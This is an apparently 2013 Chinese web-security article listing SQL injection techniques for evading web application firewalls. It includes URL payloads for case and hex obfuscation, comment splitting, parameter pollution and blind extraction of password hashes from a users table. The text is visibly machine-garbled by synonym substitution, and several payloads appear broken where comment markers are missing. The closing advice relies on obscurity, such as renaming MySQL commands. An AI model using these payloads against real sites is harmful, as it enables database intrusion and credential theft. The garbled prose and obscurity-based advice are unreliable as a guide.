移动安全 安全管理 应用案例 网络威胁系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 系统安全 >

阐发:看牛人如何冲破WAF防御

时间:2013-05-11 09:33来源:TuZhiJiaMi企业信息安全专家 点击:
当所有的系统安然防御做好后,剩下生怕就是SQL注进,跨站报复打击等等web利用层防御了,这也是广大年夜站长最困扰的东东了,几日前写的“安然宝构架手艺猜想与高级收集安然防御”讲授
Tags系统安全(735)白盒测试(2)WAF防御(1)  

  当所有的系统安然防御做好后,剩下生怕就是SQL注进,跨站报复打击等等web利用层防御了,这也是广大年夜站长最困扰的东东了,几日前写的“安然宝构架手艺猜想与高级收集安然防御”讲授了一种最简单的高机能防御方编制,按照本身的环境略微点窜下,便可以应付大年夜部门的报复打击了,可是就万事大年夜吉了吗?

  起首我们回顾下网上牛人是如何冲破waf防御:

  1.大年夜小写绕过

  这个大年夜家都很熟谙,对一些太垃圾的WAF结果较着,好比反对了union,那就利用UnionUnIoN等等绕过。

  2.简单编码绕过

  好比WAF检测关头字,那么我们让他检测不到便可以了。好比检测union,那么我们就用U也就是U的16进制编码来代替U,union写成UnION,连络大年夜小写也能够绕过一些WAF,你可以随便替代一个或几个都可以。

  也还有大年夜家在Mysql注进中好比表名或是load文件的时辰,会把文件名或是表白用16进制编码来绕过WAF都是属于这类。

  3.注释绕过

  这类环境比较少,合用于WAF只是过滤了一次危险的语句,而没有阻断我们的全部查询。

  01./?id=1+union+select+1,2,3unionselect+1,2,31,2,3,4…

  可以看到,只要我们把敏感词放到注释里面,寄望,前面要加一个!

  4.分隔重写绕过

  仍是上面的例子,合用于那种WAF采取了正则表达式的环境,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。

  我们可以经由过程注释分隔敏感字,如许WAF的正则不起感化了,而带进查询的时辰其实不影响我们的成果。

  01./?id=1+union+select+1,2,3--

  至于重写绕过,合用于WAF过滤了一次的环境,和我们上传aaspsp马的道理一样,我们可以写出近似Ununionion如许的。过滤一次union后就会履行我们的查询了。

  01.?id=1ununionionselect1,2,3--

  5.Http参数污染(HPP)

  好比我们有如许的语句:

  01./?id=1unionselect+1,2,3+from+users+where+id=1--

  我们可以反复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号:

  01./?id=1unionselect+1&id=2,3+from+users+where+id=1--

  这类环境成功的前提比较多,取决于具体的WAF实现。

  再给出一个例子申明用法:

  01./?id=1unionselectpwdfromusers--

  具体阐发的话就触及到查询语句的后台代码的编写了。

  好比办事器是如许写的:

  01.select*fromtablewherea=".$_GET['a']."andb=".$_GET['b']."limit".$_GET['c'];

  那我们可以机关如许的注进语句:

  01./?a=1+unionselect+1,passfrom+users--

  最终解析为:

  01.select*fromtablewherea=1unionselect1,passfromusers--

  可以看到,这类编制其实比较合适白盒测试,而对黑盒渗入的话,用起来比较麻烦。可是也能够一试。

  6.利用逻辑运算符or/and绕过

  01./?id=1+OR+0x50=0x50

  02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

  趁便诠释一下第二句话,从最里面的括号开端阐发,select+pwd+from+users+limit+1,1这句是从users表里查询pwd字段的第一笔记实,好比是admin,

  然后mid(上一句),1,1就是取admin的第一个字符,也就是a,

  lower(上一句)就是把字符转换为小写,

  然后ascii就是把a转换成ascii码,看等不便是74。

  7.比较把持符替代

  包含!=不便是,<>不便是,<小于,>大年夜于,这些都可以用来替代=来绕过。

  好比上一个例子,要鉴定是不是是74,假定=被过滤,那么我们可以鉴定是不是是大年夜于73,是不是是小于75,然后就知道是74了。。良多WAF城市忘了这个。

  8.同功能函数替代

  Substring()可以用mid(),substr()这些函数来替代,都是用来取字符串的某一名字符的。

  Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替代。Benchmark()可以用sleep()来替代,这两个利用在基于延时的盲注中,有机缘给大年夜家介绍。

  假定连这些都樊篱了,还有一种新的编制:

  01.substring((select'password'),1,1)=0x70

  02.substr((select'password'),1,1)=0x70

  03.mid((select'password'),1,1)=0x70

  好比这三条,都是从password里鉴定第一个字符的值,可以用:

  01.strcmp(left('password',1),0x69)=1

  02.strcmp(left('password',1),0x70)=0

  03.strcmp(left('password',1),0x71)=-1

  来替代,left用来取字符串左起1位的值,strcmp用来比较两个值,假定比较成果相等就为0,左边小的话就为-1,不然为1。

  还有我前几篇说过的group_concat和concat和concat_ws也能够彼此替代。

  9.盲注无需or和and

  好比有如许一个注进点:

  01.index.php?uid=123

  and、or被过滤了,其实有一种更直接的编制,我们直接点窜123为我们的语句生成的:

  01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

  123的时辰页面是准确的,我们此刻在盲猜hash的第一名,假定第一名便是0x42也就是B,那么strcmp成果为0,0+123=123,所以页面应当是准确的。不然就申明不是B,就如许猜,不消and和or了。

  10.加括号

  01./?id=1+union+(select+1,2+from+users)

  好比,上面这一条被WAF反对了。可以尝尝加一些括号:

  01./?id=1+union+(select+1,2+from+***)

  02./?id=(1)union(select(1),mid(hash,1,32)from(users))

  03./?id=1+union+(select'1',concat(login,hash)from+users)

  04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

  05./?id=(1)or(0x50=0x50)

  11.缓冲区溢出绕过

  这个是从国外一个博客看到的:

  01.id=1and(select1)=(Select0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

  8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

  02.,27,28,29,30,31,32,33,34,35,36–+

  此中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好,一般要求1000个以上。

  以上就是网上哄传的冲破编制,本人没时候往试,也不想往试,这里有一个标题问题,为甚么会有千千万万个缝隙,报复打击编制,防不堪防,有没有一个底子的编制解决所有已知,未知的缝隙报复打击呢?

  其实回根到底,我们用的linuxwinmysql等等都是他人开辟的,不是本身的东西,开源的好处就是你可以用,可是你不好保密!所以要解决标题问题,还得从软件,系统的开辟开端,哪怕简单的二次开辟都可以防御良多报复打击:

  1,假定本身能对mysql进行二次开辟,把所有的selectunion号令简单的改名,改成没有人知道的只有你本身知道的名字,你用担忧sql注进吗?

  2,假定本身对mysql进行二次开辟,改变sql尺度,逻辑,你还怕orand注进吗?

  3,假定本身定义一套本身的开辟说话,不消甚么cphp你还怕甚么好处吗?

  4,大年夜范围定制改革linux把所有的号令,系统调用经行二次开辟,你还怕黑客进侵吗?人家连ls号令都不知道如何弄!

  当然有背开源精力,可是此刻良多的闭源软件,防火墙早就这么干了,说白了,保密的东东,最安然,本身创作发现的东东,才是最靠得住的,事实你可以随便定制更改,随便扩大开辟!当然假定没有这个手艺前提我们可以这么做,让黑客解体到底!

  1,完全丢弃mysqlmongodb等有sql注进风险的数据库,采取redis或其他简单的能知足你当前营业的nosql数据库,其实要逻辑,要甚么触发功能,请用luaphp实现,断根所有没有效的功能,就和linux权限一样颗粒化一切,不要的,无用的十足丢掉落,一个不剩!

  2,对当前采取linux系统nginxapache等等,全数进行源代码简单点窜,核心功能算法不克不及更改,我们就不克不及更改号令名称,用户ui接口?打个例如把mysql的select号令和各类对应的编码调用名称改掉落,哪里来的sql注进呢?

  好了,希看大年夜家参考就好,千万不要把系统改的脸孔全非,连本身都用不了,撑持开源,不要仅仅逗留在利用层,我们仍是要尽力成为开源软件开辟者,或多提出本身的立异建议,任何工作不要盲目往跟风,人家用,你也取用,够用就好是一种简单而高深的哲学。

------分隔线----------------------------

推荐内容